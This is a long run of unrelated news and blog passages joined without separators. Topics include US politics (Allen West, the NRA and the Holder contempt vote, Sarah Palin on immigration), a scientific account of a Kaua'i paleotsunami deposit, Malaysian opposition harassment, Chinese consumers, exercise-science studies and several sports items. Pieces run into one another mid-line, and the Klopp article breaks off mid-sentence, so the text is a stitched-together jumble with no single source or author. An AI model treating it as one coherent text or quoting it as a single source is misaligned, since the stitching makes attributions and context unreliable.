West has finally ceded his seat to Democrat Patrick Murphy, who defeated him in one of the most expensive congressional races in American history. This gave him the chance to voice his most deluded and inflammatory statement ever.
In an interview on NPR about his future plans, West ended by saying, “And always remember, Abraham Lincoln only served one term in Congress, too.”
LOL.
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624The National Rifle Association (NRA) has leverage with House Democrats running for reelection in conservative districts, and its decision to score the Eric Holder contempt vote (in favor of it) will complicate Minority Whip Steny Hoyer’s attempts to keep Democrats united in opposition (h/t HotAir):
“I think there are some members that will consider the recommendations of the NRA,” Hoyer said to reporters today. “Whether they think those recommendations are founded or not, I don’t know at this point.” The number of Democratic defections could reach 31, according to House Oversight Committee Chairman Darrell Issa (R-CA), whose committee voted last Wednesday to move the contempt citation to a full House vote. Issa cites a letter sent from 31 Democrats to the Obama administration last year asking for them to be forthcoming with details of the Fast and Furious gun-walking operation as a template for possible Democratic “yes” votes.
So far, Rep. Matheson is the first Democratic defector. Getting 31 Democrats to cross the aisle still seems like a long-shot for Issa, but the NRA scoring will certainly help. The lobbying group does appear to have had some interest or involvement in the Fast and Furious letter Issa mentions that had 31 Democratic signatories last year, since it was posted on the NRA website under “media.” If the Democrats lose 31 members on this vote, their argument that the GOP is using it as a ploy to tie Holder’s hands on voting rights becomes even more absurd.
The NRA, meanwhile, outlined its justification for scoring the vote in a recent letter to House GOP leadership, making the case that this is about gun rights, not partisanship (h/t Moe Lane):
It is no secret that the NRA does not admire Attorney General Holder. For years, we have pointed out his history of anti-Second Amendment advocacy and enforcement actions. Since taking office, Attorney General Holder has seized on the violence in Mexico to promote the lie that “90 percent” of firearms used in Mexican crime come from the U.S.; to call for bringing back the 1994 Clinton gun ban; and to justify the illegal multiple sales reporting scheme, which amounts to gun registration for honest Americans who buy long guns in southwest border states. But our support of this contempt resolution is not about those issues — nor is it a partisan decision, for we have also expressed our strong policy disagreements with Attorney General Holder’s predecessors of both parties. The reason we support the contempt resolution is the same reason we first called for Attorney General Holder’s resignation more than a year ago: the Department’s obstruction of congressional oversight of a program that cost lives in support of an anti-gun agenda.
Hoyer will try his best to keep his party in line, but the election is a little more than four months away, and some Democrats won’t be able to afford being on the wrong side of the NRA.2.1 Hawaiian Islands
Although there is evidence for local megatsunamis caused by giant submarine landslides due to flank collapse of volcanic edifices making up the Hawaiian Islands [e.g., Moore and Moore, 1984; Satake et al., 2002; McMurtry et al., 2004], the youngest of these events is >10,000 years B.P. [McMurtry et al., 2004]. There is scant evidence in the literature for more recent Holocene tsunamis, apart from depositional evidence from recent large tsunamis during the past century (e.g., 1946 and 1957). There is an archaeological and legendary reference to a tsunami at Kualoa Beach in Kaneohe Bay, Oahu, subsequent to its occupation by the Hawaiian people in circa 1040–1280 A.D. (see supporting information: Legendary Hawaiian References) [Carson and Athens, 2007; Handy and Handy, 1972]. A chant attributed to Huluamana and composed in the sixteenth century describes a tsunami‐like event on the west coast of Molokai [Lander and Lockridge, 1989]. For the Limahuli Bog on northwestern Kaua‘i, Burney [2002] reports evidence suggesting a prior large tsunami event, “The wedge of sand about 50 cm below the surface along the northern edge of the bog is similar to the surficial material derived from the 1946 tsunami and perhaps represents a similar late prehistoric event such as the one Burney et al. [2001] recorded about 400 years B.P. at Maha‘ulepu (Southeastern Kaua‘i).”
The best paleotsunami evidence to date within the Hawaiian Islands is on Kaua‘i in the Makauwahi Sinkhole (21.8883°N, 159.4188°W) on the southeast coast (Figure 1) about 10 km southwest of Nawiliwili Harbor, about 100 m from the shore [Burney et al., 2001]. The sinkhole (see supporting information: Setting, Figures S1 and S2) is part of a limestone cave complex (within a Pleistocene eolianite—lithified calcareous dune deposits) where the central roof collapsed about 7000 B.P. A few large, partially redissolved speleothems (stalactites) to ~0.5 m diameter occur, notably along the walls of the sinkhole, and indicate that the sinkhole is a collapsed cave. The sinkhole is large, about 30 by 35 m, and the walls are 6 to 25 m high above the flat floor of the sinkhole, which is filled mostly with terrestrial sediment deposits. At the northern and southern end of the sinkhole, there are still caves opening into the sinkhole. The northern cave has a small portal opening facing the Waiopili Stream. This narrow portal serves as the only entrance to the complex.
Figure 1 Open in figure viewerPowerPoint The inset map shows the location (red dot) of the Makauwahi sinkhole on the southeastern coast of Kaua‘i in the Hawaiian Islands. The scale for the inset map is about 12.2 km on a side. The town of Līhu‘e and Nawiliwili harbor are to the northeast.
Excavation of the site revealed the following [Burney et al., 2001]:
“This gradual sedimentation was truncated by an extremely high‐energy sedimentation event. About four or five centuries ago (calendar years A.D. 1430–1665), a severe marine overwash of the site, probably a tsunami, deposited allochthonous (originating at a distance from their present location) stones and fractured eolianite in a lens up to 1 m thick at the lowest point of the sinkhole rim along the east wall, thinning out in the far reaches of the caves as turbidite fans and gravel beds.” “The layer is composed of boulders, cobbles, gravel, and sand. These rocks, being highly fractured, mostly angular, and lacking an in situ patina, are consistent with an interpretation of the layer as the result of a single high‐energy event. Other components of the unit include marine elements such as coral fragments, abraded mollusck shells, and coarse beach sand.” “Likewise, classification of stones also shows a strong contrast with all other units, with a significant component of allochthonous stones, notably terra rossa (lithified red soil) and a dense black vesicular basalt in this unit only. Both rock types are common on the beach and on the slope seaward of the cave.”
This paleotsunami layer is about 80 cm thick and found in excavations on both edges of the sinkhole and in cores in the middle. A core published by Burney et al. [2001] is shown in Figure S2, with pictures from a recent excavation site at the northern edge (Figure S3), showing the layer in situ and examples of the basalt rocks and coral found in the deposit (many boulders were >100 kg). The lowest edge of the sinkhole lies 7.2 m above mean sea level at the side adjoining the sea. Considering the area and thickness of the layer, the volume of rocks and material in the layer is estimated to be about 600 m3. This is a large volume, equivalent to about nine standard shipping containers.
In the north cave “all cores record a thin band of angular gravel.” The portal entrance in the north cave is about 1.2 m tall and has been excavated to its maximum opening of about 2.5 m without evidence of the large basalt rocks of beach origin typical of the tsunami layer. The deposits in the southern cave “trace a turbidite fan thinning and fining southward into the rear of the cave.” The southern cave's connection to the ocean was severed at about the time of the main roof collapse (7000 B.P.). Furthermore, excavation of the cave began a month before the 1992 Hurricane Iniki—the largest hurricane in the historical record—directly struck this corner of Kaua‘i with great force, leaving a very different type of deposit in the sinkhole, consisting of plant debris and dune sands.
This paleotsunami deposit is unique in that it is 100 m inland and 7.2 m uphill from the sea, placing strong constraints on the causative tsunami. The largest historical tsunamis recorded in Hawai‘i have runups measured in the vicinity of the sinkhole. The 1960 Chilean (M w 9.55) tsunami had 3 m runup, the 2011 Japan (M w 9.1) event had 1–2 m runup, and the 1964 Alaska (M w 9.2) event showed no significant runup. There is no runup measurement from the 1952 Kamchatka (M w 9.0) tsunami. Tsunami runups from the 1946 and 1957 Aleutian earthquakes (M w 8.6) were 2.4 and 2.1 m, respectively. None of the tsunamis generated by the largest historic earthquakes in the circum‐Pacific and the Aleutians have come close to inundating the Kaua‘i sinkhole.
Only two possibilities present themselves for the means of the tsunami deposition: the tsunami deposit could have entered via the portal through the north cave, or else occurred as an overwash of the seaward eastern wall. In order to examine these possibilities firsthand, a visit was made to the sinkhole in February 2013. The recently excavated northern edge of the sinkhole presented the same ~0.8 m tsunami layer as previously observed by Burney et al. [2001] at the southern excavation site and cores in the middle of the sinkhole. Evidence was sought as to whether the tsunami filled the sinkhole via the northern cave portal, which has a lower elevation of ~1 m above mean sea level. To move this volume of material through a small portal would imply substantial hydraulic forces that would direct rocks as projectiles toward the cave ceiling (<3 m high) and walls. However, there is no evidence of projectile impacts on the north cave walls and ceiling. Further, there are abundant, fine speleothems undisturbed on the cave ceiling that may date back either before sinkhole roof collapse 7000 years ago or prior to the tsunami event. However, given uncertain conditions of evaporative exsolution of CaCO 3 in the open cave versus slow precipitation in the humid enclosed cave before roof collapse, this evidence is indeterminate. Nonetheless, other than a “thin band of angular gravel,” the north cave lacks evidence of the tsunami deposit found within the sinkhole. Therefore, although a tsunami flood may have entered via the portal, much of the volume in the tsunami deposit must have overwashed the sinkhole wall at >7.2 m.
Burney et al. [2001] have dated the tsunami deposit to 1430–1665 cal year A.D. (calibrated range at 95% confidence interval). Although short‐lived materials were used in dating to minimize inherent age bias, some 14C dates could be biased older, as some older, reworked material may be included in the tsunami deposit. Hence, the younger half of the distribution seems more likely. Better precision would be obtained from Uranium‐series dating of fresh, unaltered coral found in the layer.By Peter Boyle
October 25, 2008 -- Some parties in Malaysia’s ruling National Front (BN) government are trying to intimidate opposition parties and social activists, Socialist Party Malaysia (PSM) secretary general S.Arutchelvan told Green Left Weekly, a few days after the PSM’s sole federal MP, Dr D. Jeyakumar, had his car torched by thugs on October 17.
The previous day, a 26-year-old human rights activist, Cheng Lee Whee, was arrested under the notorious Internal Security Act (ISA) after she made a report accusing the police of abuse of power in an eviction of a poor squatter colony in the state of Johor. She was charged with “spreading false information”.
Cheng had complained that about the violent eviction of 27 squatters and their supporters who were attempting to stop the demolition of a predominantly Malay village Kampung Baru Plentong Tengah on October 16.
Choo Shinn Chei, a PSM activist, also had her laptop confiscated by police in this incident.
This follows mounting arrests and detentions of other activists — and even bloggers — under the ISA. This has provoked thousands to demonstrate in recent months for repeal of this colonial-era detention-without-trial law.
All this comes against the background of dramatic gains by opposition parties this year. Anwar Ibrahim, the leader of the People’s Front (PR) opposition alliance, has recently been elected back to parliament in a by-election.
Despite facing a new government inspired frame-up for “sodomy”, Anwar is threatening to unseat the BN government through government MPs defecting to the PR. The United Malays National Organisation (UMNO), the dominant party in the BN, has long exploited racial politics to maintain a strong hold on the Malay section of the population since the party was set up in power by the departing British colonialists after World War II.
However, opposition parties in recent years have begun to win over substantial support from Malays.
“UMNO wants to stop opposition parties from reaching Malay communities”, explained Arutchelvan. “For example, yesterday [October 22], there was a demo outside our Selangor state assembly member Nasir Hashim’s office by about 50-80 UMNO members. It was very racialist and sectarian.
“They reminded Nasir that as he is a Muslim he should not go against Muslims, simply because Nasir had asked a question in
the state assembly about whether zakat money [Muslim alms for the poor] could be extended to poor non-Malays.”
In the Johor incident, the authorities were particularly upset that Chinese activists had gone to support a poor Malay kampung community facing eviction, Arutchelvan said.
On the other hand, the torching of a PSM MP’s car was a continuation of the rivalry between the PSM and UMNO’s partner, the Malaysian Indian Congress, for support among poor Indian communities in the Sungai Siput electorate in Perak state.
Arutchelvan said that there had been many attacks against PSM members in the electorate. However, following the torching, the police have charged a number of people with criminal intimidation for the first time.
However, Arutchelvan added, some BN parties, such as the Malaysian People’s Movement Party (Gerakan) and the People’s Progressive Party (PPP), are trying to distance themselves from the increasingly racialist and intimidatory political tactics by UMNO.
Meanwhile, the PSM continues to promote class politics against Malaysia’s elite parties’ tradition of communal and religious politics. After winning its first federal MP and state assembly member in the March general elections, the PSM support base continues to grow.
It finally won the right to apply for electoral registration in September this year, after waging a 10-year-long legal and popular struggle.
More than 1500 celebrated this victory at a fundraising dinner on September 13 and another 800 people attended a rally to celebrate the victory in Kuala Lumpur on October 19.
Guest speakers at the rally included leaders of other Malaysian opposition parties including the Democratic Action Party (DAP), the Justice Party (PKR) and Party Islam (PAS). One of the guest speakers was DAP MP Teresa Kok, whose home was recently firebombed after she received racialist threats.
On October 23, police arrested 12 people (including a six-year-old girl) trying to submit a letter to the PM to seek the release of recent ISA detainees. Arutchelvan warned that the UMNO-led government facing an internal party crisis as well as the global financial crisis is prepared to use force and oppression to remain in power.
[More information about the PSM, visit http://www.parti-sosialis.org. This article first appeared in Green Left Weekly issue #772, October 25, 2008.]Al Gore was challenged on climate science Tuesday night when the mayor of Tangier Island, a community threatened by coastal erosion, told the environmentalist film producer he hadn’t seen the sea level change since he began his first career as a commercial crabber in 1970.
Gore was taking questions from the audience at a CNN town hall with Anderson Cooper when the fisherman and Tangier Island mayor James Eskridge refuted Gore’s assertion that rising sea levels were endangering coastal communities.
“I’m a commercial crabber and I’ve been working the Chesapeake Bay for 50+ years. I have a crab house business out on the water and the water level is the same as it was when the place was built in 1970,” Eskridge said. “I’m not a scientist, but I am a keen observer and if sea level rises are occurring, why am I not seeing signs of it?”
WATCH:
Eskridge went on to say that erosion was slowly eating away at the island, but it was a natural force caused by “wave action [and] storms.”
“Have [the storms] increased any?” Gore asked.
“Not really,” Tangier’s mayor responded.
Tangier Island has lost 66 percent of its land to erosion since 1850. Eskridge has asked the Trump administration for help building a sea wall to stop the island from disappearing, CBS News reports.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.A couple of times every month, the mainstream media decides to be helpful by bringing you the exercise science community’s latest innovative investigations into fitness. This gives the informed reader a chance to see what these people do all day in their classrooms, laboratories, and conference rooms.
As a pair of recent examples will show, their recommendations must be examined more carefully than the mainstream media often does.
The first paper, entitled “Critical Discourse Analysis of Motivational Content in Commercially Available Exercise DVDs: Body Capital on Display or Psychological Capital Being Developed?” by Cardinal BJ et al. will be published in Sociology of Sport Journal. (I like that the burdensome length of the term “Sports” has been given the haircut it so desperately needed.)
Dr. Cardinal and some of his graduate students from Oregon State University investigated the psychological “messaging” in 10 exercise DVDs, and have concluded that some of the “messaging” could potentially cause psychological harm to those people unfortunate enough to be exposed to it. As reported on the OSU website:
A study of 10 popular commercial exercise DVDs showed that the imagery in the fitness videos may be perpetuating and reinforcing hyper-sexualized and unrealistic body images, said Brad Cardinal, a kinesiology professor in the College of Public Health and Human Sciences at Oregon State University.
Has it occurred to Dr. Cardinal that lots of people who buy these silly videos may be intensely interested in seeing hyper-sexualized and unrealistic body images? For various reasons?
A look at the paper itself reveals that The Team analyzed 10 fitness DVDs they got from either the library (4), off the internet (2), or brought with them to school from the house (4).
They analyzed the potential psychological effects of a quarter-billion-dollar industry using 10 DVDs, 40% of which they already owned. Then they analyzed the physical characteristics and attire of the instructors and models featured in the DVDs, the sex and race of the models and instructors (which was “assumed”), and the motivational content of the instruction.
They did all kinds of interesting statistical analysis on their analysis, and they decided that about 25% of the verbal statements made in the 10 DVDs were motivational -- but that also 1 in 7 of these statements was negative, and therefore “demotivating.”
In other words, for every 1000 words spoken in the DVDs, 35 of those words might possibly hurt someone’s feelings.
Considering that 65% of Americans are now overweight or obese, a lot of people’s feelings could stand to be hurt just a little. But I’m amazed that people continue to buy $250 million of these DVD every year.
In other developments, a group of Australian and Canadian exercise scientists have determined that it’s okay for cyclists to eat bread. The aversion to gluten -- the major protein found in wheat, the world’s most widespread food crop -- has swept the globe. Athletes, always the first group to jump on a new nutritional bandwagon, have led the way. In their attempts to improve performance, many athletes have adopted gluten-free diets.
Despite the fact that gluten is the primary source of vegetable protein for the human race, the suspicion is that all humans have a touch of celiac disease, an autoimmune disorder that features an inflammatory reaction to a component of gluten. Faddish weirdness notwithstanding, the vast majority of the human race has no trouble with wheat -- if it did, it wouldn’t be so damn popular.
But these guys (oh, sorry: I forgot to mention that The Team in the previous paper has concluded that the term “guys” was demotivating) from Australia and Canada decided to test the hypothesis that gluten adversely affects performance. So they did the usual Exercise Science thing: they performed an underpowered, poorly designed, poorly executed study on a small group of subjects who could not possibly prove or disprove their hypothesis.
This, of course, was in no way an impediment to getting it published.
As reported in the New York Times and published in Medicine and Science in Sports and Exercise (2015 Dec;47(12):2563-70), here’s what they did: they chose 13 competitive endurance cyclists without any celiac disease or other chronic bowel symptoms, and tested the differences in their performance between a gluten-free diet and a diet supplemented by 16 grams of gluten per day -- a "fairly hefty amount of gluten," according to NYT -- while they continued to train.
A range of 10-40 grams of gluten per day is considered normal gluten consumption for non-celiac patients, so it’s entirely possible that 16 grams of gluten was less than the cyclists were eating before the study. If I were going to design a study to show the effects of gluten vs. no gluten, I’d use more gluten than the lower end of the normal range.
Anyway, the cyclists ate each diet for a total of 7 days. Seven (7) whole days.
Amazingly enough, no differences were reported in the performances or lab work of either group.
Do you see the problems here? There were 13 cyclists in the study. This just isn’t enough cyclists. If you don’t have enough people in your study, small effects (the kind you would expect) don’t show up at sufficiently noticeable frequencies or levels to tell you anything useful, to allow you to see any changes, or to allow you to see the absence of any changes. Any differences in performance between the gluten-containing and the gluten-free diet would not be present in enough people at sufficient amplitude to constitute an observable difference.
More importantly, experienced competitive cyclists don’t change performance levels in a week as the result of minor dietary interventions. Neither do you, as you’re aware.In this undated photo distributed Wednesday, Aug. 23, 2017, by the North Korean government, leader Kim Jong Un, center, visits the Chemical Material Institute of Academy of Defense Science at an undisclosed location in North Korea. North Korea's state media released photos Wednesday that appear to show the designs of one or possibly two new missiles. Concept diagrams of the missiles were seen hanging on a wall behind leader Kim Jong Un while he visited a plant that makes solid-fuel engines for the country's ballistic-missile program.Independent journalists were not given access to cover the event depicted in this photo. (Korean Central News Agency/Korea News Service via AP)
MOSCOW (AP) — A senior Russian diplomat is warning against expanding sanctions against North Korea, saying it’s necessary to focus on a political settlement.
Deputy Foreign Minister Sergei Ryabkov said that “the scope of sanctions already endorsed by the U.N. Security Council is such that any possibilities of expanding such measures have been exhausted.”
In remarks to the Japanese and Chinese media released by the ministry on Wednesday, he bemoaned Washington’s “absolute and boundless” emphasis on developing new sanctions against Pyongyang.
Ryabkov said the U.N. Security Council must now focus on a political settlement.
China and Russia have called on the U.S. to suspend annual military exercises with South Korea in exchange for Pyongyang halting its missile and nuclear tests as a first step toward direct talks.Chinese consumers continue to grow relentlessly in number and wealth. This is a well-studied economic trend. But what people are missing is how the changing behavior of these consumers is now regularly shaking the world.
Suddenly when Chinese consumers start eating more meat, it impacts agriculture in the American midwest. When they discover northern Thailand as a fun destination, they flood the area with tourists. When Chinese consumers change their minds about something, it now ripples outward into the global economy. And these types of phenomenaare going to become a lot more noticeable in the coming years.
The economic trend underlying this is the steady advance of China's urban middle class families. This is the group to watch. According to McKinsey & Co., Chinese urban household disposable income will reach $8,000 a year by 2020. This will be about the same level as South Korea, but in a much, much larger population. After Middle Eastern oil, Chinese urban middle class families are arguably the most valuable natural resource on the planet.
But within this big trend, an important shift is now occurring. Urban families are rapidly transitioning from "value hunters" to more emotional, aspirational and free-spending consumers.
Price-focused consumers have dominated the China story thus far. They typically have had little brand loyalty and tend to shop around for the best deals, mostly for life's necessities. Chinese companies such as Haier Group and China Vanke have done very well selling these consumers air conditioners and apartments at affordable prices.
The more emotional group now emerging, called "new mainstream" consumers by McKinsey, already has life's basics. And they have enough disposable income to buy discretionary items such as lattes and trips to Thailand.
What this new group cares about is quality, brand and how products make them feel. So they want real iPhones, not cheap alternatives, and they are able and willing to pay for them. What is fascinating about this group is that they behave fairly similarly to consumers in developed markets.
And here's the factoid that really matters. These "new mainstream" consumers accounted for about 5% of China in 2010, with value seekers then accounting for the overwhelming majority. But according to McKinsey, the new mainstream will represent over half of urban middle class families by 2020. This is the important transition that is happening right now. It is a transition from functional to emotional. From basic living to self-realization.
It means Chinese consumers are rapidly becoming much more emotional and unpredictable. Suddenly, when Chinese consumers like a movie, such as Furious 7, they can become the largest source of revenue for it.
In 2015, several multinational fast-food chains got a painful lesson in this phenomenon after media reports of alleged contaminated food in their Chinese outlets. Their global financial results took significant hits. While reported as a food scandal, this incident was really about urban Chinese families caring more about food safety now than in the past. In 2016, United Airlines also got a surprise introduction to this after a video of a customer being dragged down the aisle went viral in China.
Overwhelmed
Conversely, if Chinese consumers decide that a particular brand is safe or better than its rivals, companies can suddenly be overwhelmed with orders. This recently happened to Swisse Wellness Group, one of Australia's leading vitamin and supplement companies.
During the first half of 2015, Swisse, which had virtually no operations in China, suddenly found its sales into China growing very rapidly. It turned out that Chinese consumers had begun ranking its products highly on Tmall. Revenues for the year (ended in June) jumped to A$313 million ($235 million) from A$125 million a year earlier. And unsurprisingly, a Chinese company (Biostime International Holdings) quickly bought Swisse in A$1.39 billion deal.
Another example is the story of the Bobbie Bear, a bright purple teddy bear stuffed with lavender and sold by a farm in Tasmania. This small lavender farm, a retirement project of owner Robert Ravens, became inundated with orders after Chinese model / actress Zhang Xinyu posted a photo of her Bobbie Bear online. Orders surged to more than 45,000 and the farm was forced to suspend online sales, as it could not handle the demand from China.
Chinese tourists began showing up in Tasmania in droves to make purchases at the farm’s gift shop. The company had to place limits on how many bears could be bought by visitors at the gift shop. Annual visitors to the farm jumped to 60,000. At one point, a hacker, presumed to have been Chinese, broke into the farm's computer system to try to place bear orders.
The point is that increasingly emotional Chinese consumers (i.e., less pure value seeking) are now regularly causing such events around the world.
Increasing mechanisms
A second factor is that the mechanisms through which Chinese consumers can impact companies around the world are increasing. The Swisse vitamin example was possible because cross-border e-commerce, known as "haitao" in China, now lets consumers there buy overseas goods online and get them delivered to China.
Another mechanism is real estate. Every six to 12 months, Chinese consumers seem to discover a new favorite place and start buying huge numbers of homes there. This phenomenon started in Hong Kong a few years ago. Buying then switched to Vancouver and Toronto. In the last year, we have seen heavy Chinese purchasing of homes in New York and California.
Tourism is another mechanism. The number of trips abroad by Chinese tourists now exceeds 130 million a year and their travel tastes can be unpredictable as well. For example, following the 2012 hit movie "Lost in Thailand," Chinese tourists started flooding into Chiang Mai, the main tourist hub in the area where the movie was filmed. Arrivals to the city were reportedly up 500% in 2013 alone.
So two important factors are now coming together: the increasingly emotional behavior of Chinese consumers (who are growing in wealth) and a multiplication of the mechanisms by which their behavior can impact the world, often in real-time.
What this means for markets and businesses around the globe is that they can now be directly impacted by what is discussed at dinner tables, in offices and online in China. My recommendation is to start paying attention to those conversations.
Cheers from Beijing, Jeff
(article reposted from Nikkei Asian Review, original located here)
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I write and speak about "how rising Chinese consumers are disrupting global markets - with a special focus on digital China".
If you would like to read my posts, please click 'Follow'.
If you would like my recommended China reading list, you can get it at www.jeffreytowson.com. You can also get a free chapter of my One Hour China Book there as well.
Some previous posts include:
About: I am a Professor of Investment at Peking University Guanghua School of Management in Beijing. I am also an investor, consultant and former executive / slave to Prince Alwaleed.
photo by Sung Ming Whang, Creative Commons license with link here.It was the most withering insult in recent football history. In February 2014, Jose Mourinho called Arsène Wenger a “specialist in failure”, after Wenger had failed to win a trophy at Arsenal for nearly a decade. It was such an infamous put-down because it rang true, even with Arsenal fans, who felt that since Arsenal’s move to the Emirates Wenger had somehow switched from being an all-conquering manager to some kind of CEO, who valued the bottom line far more than what happened between the white lines on the pitch.
Ironically, Mourinho’s attempt to belittle Wenger may well have backfired. Within three months Wenger was again a trophy-winner, having led Arsenal to an FA Cup win, a victory they repeated 12 months later to restore a little of Wenger’s lost lustre. And even in this ultimately unsuccessful season for Arsenal, because his side eventually finished runners-up to Leicester, Wenger can still claim that he is maintaining upward progress on the pitch.
As with so many of Mourinho’s comments, in particular his description of himself as “The Special One”, “specialist in failure” has become part of the footballing lexicon, applied to managers other than Wenger. The danger for Jürgen Klopp after Liverpool’s midweek defeat to Sevilla in the Europa League final is that he will inherit Wenger’s old title and become the real specialist in failure.
Jürgen Klopp Failure Becoming Repetitive
As has been pointed out ad infinitum by journalists and supporters of other clubs since the loss to Sevilla, Klopp’s latest loss makes it five losing finals in a row—literally a handful of major defeats. His final three seasons with Borussia Dortmund were marked by a hat-trick of final losses—one in the Champions League to Bayern Munich, and two in the German Cup final to Bayern and Wolfsburg. He has begun his tenure at Liverpool with two more—first against Manchester City in the League Cup final on penalties and then, far more comprehensively, against Sevilla in the Europa League final.
Of course, Klopp can legitimately claim that his team were unlucky against Sevilla after dominating the first half and having not one but two strong penalty claims denied: a point that he himself made to the referee at the end of the match by raising two fingers to him. However, nearly every side who has ever lost a final of any kind has always claimed that they have somehow been “unlucky”, or even “robbed”. Losers need excuses, if only to save face or somehow convince themselves that they have been unfairly |
. (Photo: Maddy Jones/mjones@citizen-times.com)
In Banner Elk/Beech Mountain
The Blue Ridge resort towns of Banner Elk and Beech Mountain will come together for a second year with the Mile High Fourth of July, which ends its five-day run on July 4. Only four miles separate the towns of Banner Elk and Beech Mountain, so travelers and residents can easily enjoy the festivities in both locations. On July 4, Banner Elk’s signature Fourth of July Parade heads down Main Street and finishes in Tate-Evans Town Park, where Party in the Park continues throughout the afternoon. Kids and adults take part in lawn games, such as egg tosses and sack races, and a rubber duck race down the creek. For more details, visit milehighfourth.com.
The Beech Mountain fireworks display on the Fourth of July. (Photo: Courtesy photo)
In Maggie Valley
Of course, if you're out in Maggie Valley on the Fourth of July, you won't want to miss the town's Backyard Fourth. Fireworks will start at dark at the Maggie Valley Festival Grounds, 3374 Soco Road. Gates open at 6 p.m., and attendees are encouraged to bring blankets, chairs, picnics and yard games (but not alcohol).
Read or Share this story: https://www.citizen-times.com/story/entertainment/events/2017/06/28/ultimate-guide-asheville-wnc-fourth-july-2017/416583001/Tight end Gavin Escobar said a phone call this offseason with Detroit tight end Joseph Fauria let him know he’d love play-caller Scott Linehan.
Fauria, who’s 6-foot-7 and 225 pounds, is built similarly to the 6-6, 251-poound Escobar, and he caught 18 passes for 207 yards and seven touchdowns last season. Fauria, an undrafted free agent, finished with a higher average per catch (11.5) and more touchdowns than Detroit starter Brandon Pettigrew.
Escobar, a second-round pick last season, caught only nine passes but three gained more than 20 yards. He also scored two touchdowns.
“Fauria said I’m going to love Linehan because he’s going to give me a chance to make plays,” Escobar said. “He told me he does a good job of creating mismatches.”
Look for the Cowboys to use formations that get Escobar, Jason Witten and Dez Bryant on the field together. Most teams will give Escobar single coverage in those situation.
“That would make sense to me,” Escobar said with a smile. “When I get opportunities, I have to take advantage of them. Then I might get some more.”Yet again, a reminder that NBC's Olympic coverage was not for you. Not with your internet savvy and your ability to watch online video and your desire for a stream that only freezes up when it's not running ads. The tape-delayed primetime highlight shows were made for real America, the teeming masses who have actual jobs to work during the day, with no time to watch sports or bitch on Twitter. The polls and ratings say they were doing the right thing. NBC Sports' Mark Lazarus says they could have done it even better.
To Ad Age:
Though NBC drew criticism for not airing more of the games live, showcasing taped events in prime time "undeniably" helped ratings, NBC Sports Chairman Mark Lazarus said. He said he wondered if NBC should have tape-delayed more events, such as the U.S. men's gold-medal basketball game and the men's tennis finals between Andy Murray and Roger Federer, which were live. "It's undeniable we hurt our ratings by doing that," Mr. Lazarus said in a phone interview. "We have to balance what we're trying to do for viewers across the country and our business model."
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He's right, you know. It hurts, but they're a network, not a non-profit, and their only responsibility is to please shareholders and advertisers with a minimum of bad PR. Sure, maybe they could have managed to offer tape delays without insulting their audience's intelligence, and yes, this is going to be extra-annoying when they delay events from Rio de Janeiro, which is just an hour ahead of the East Coast, but...actually, I don't know where that sentence was going. NBC made good money on these Olympics. They're a little mad at themselves they didn't make more.
NBC Wonders if It Should Have Actually Tape-Delayed the Olympics More [Ad Age]Jayne Kamin-Oncea-USA TODAY Sports
Lavar Johnson lost his last two fights inside the Octagon in ugly fashion, but the UFC brass has determined "Big" still deserves a spot with the promotion.
Following the recent overhaul of the UFC's roster and president Dana White's claim that "There's 100 more guys that are gonna go," Johnson had plenty of reason to fear a bad-news-bearing phone call or text message after his recent loss.
However, last night, five days after his unanimous decision loss to Brendan Schaub at UFC 157, Johnson tweeted:
As MMAJunkie.com originally reported, Johnson's tweet does not necessarily ensure his continued employment, but it does mean that he is out of the woods for now.
Johnson's style—the hulking heavyweight has posted 15 knockouts in 17 career victories—undoubtedly played a huge role in the company's decision.
After starting his UFC career with back-to-back knockouts of Joey Beltran and Pat Barry at UFC on FOX 2 and 3, respectively, Johnson's furious fists became the stuff of nightmares for the heavyweight roster.
However, in his two most recent outings, Johnson's opponents—Stefan Struve and Brendan Schaub—elected to put their own striking games on hold in favor of a more conservative approach on the ground.
Struve found success in this area immediately, as he pulled guard and quickly transitioned to a fight-ending armbar in Round 1. Schaub, on the other hand, grounded Johnson for the full 15 minutes before earning a judges' decision.
Schaub, who came into his fight with Johnson on a two-fight losing streak of his own, did the smart thing to secure the win. However, with the UFC's refusal to cut Johnson, one now must wonder if the safe, wrestle-first game plans are worth the fans' backlash and criticism.
In today's UFC more than ever, being exciting holds precedent over everything else, and Johnson is just that. He is an explosive finish waiting to happen, and it appears for now that fans will be treated to at least one more appearance from Big before his moment in the sun fades into the shadows of obscurity.
Who do you think should be next for Johnson? Leave a comment or hit me up on Twitter, @HunterAHomistek, and we'll talk about it.Last Friday, Fox News’ Bill O’Reilly asked former Gov. Sarah Palin (R-AK) what she would do about immigration if she ever became “President Palin.” Palin informed O’Reilly that she would do “whatever it takes” to secure the border, including “militarizing” the border with 10,000-15,000 National Guard troops and building a wall. However, Palin seemed less confident about what to do about the millions of undocumented immigrants already living in the U.S. She proposed requiring undocumented immigrations to register with the federal government in order to legally work in the United States — a step that would actually be part of comprehensive immigration reform:
O’REILLY: Now we have 12 million people staring at you. […] Are you going to deport them, what are you going to do? […] PALIN: You’re not gonna give them a free pass. You’re not gonna say, ‘okay you and anyone else who wants scurry across this porous border between now and when we do finally get it fenced in and physically secured — we’re gonna give you a free pass.’ O’REILLY: So no amnesty? PALIN: No amnesty! […] Do we make them register with the federal government? Yes! […] Let’s keep it simple and let’s say ‘no, if you were here illegally and if you don’t follow the steps that at some point through immigration reform we’re gonna be able to provide — and that is somehow to allow you to work — if you don’t do that, then you’re gonna be gone.’
Watch it:
Palin’s immigration platform unintentionally sounds a lot like the Democrats’ “Conceptual Proposal for Immigration Reform” that Republicans widely rejected:
Proponents of immigration reform acknowledge that we need to meet clear and concrete benchmarks before we can finally ensure that America’s borders are secure and effectively deal with the millions of illegal immigrants already in the United States. These benchmarks must be met before action can be taken to adjust the status of people already in the United States illegally…this proposal not only includes well-designed statutory provisions that will strengthen future enforcement, but also includes a broad-based registration program that requires all illegal immigrants living in the U.S. to come forward to register, be screened, and, if eligible, complete other requirements to earn legal status, including paying taxes.
Ultimately, Palin’s responses to O’Reilly’s probing questions were fuzzy at best. Palin went back and forth between agreeing to give undocumented immigrants green cards because “there has to be that expectation that they will work” and saying American citizens need to be the ones with the “first shot” at jobs. Palin also reminded O’Reilly of how her “great political hero” Ronald Reagan signed off on legalizing 3 million undocumented immigrants in 1986. When O’Reilly pointed out that he “botched it,” Palin immediately backed away saying, “Exactly! We learn from history.”
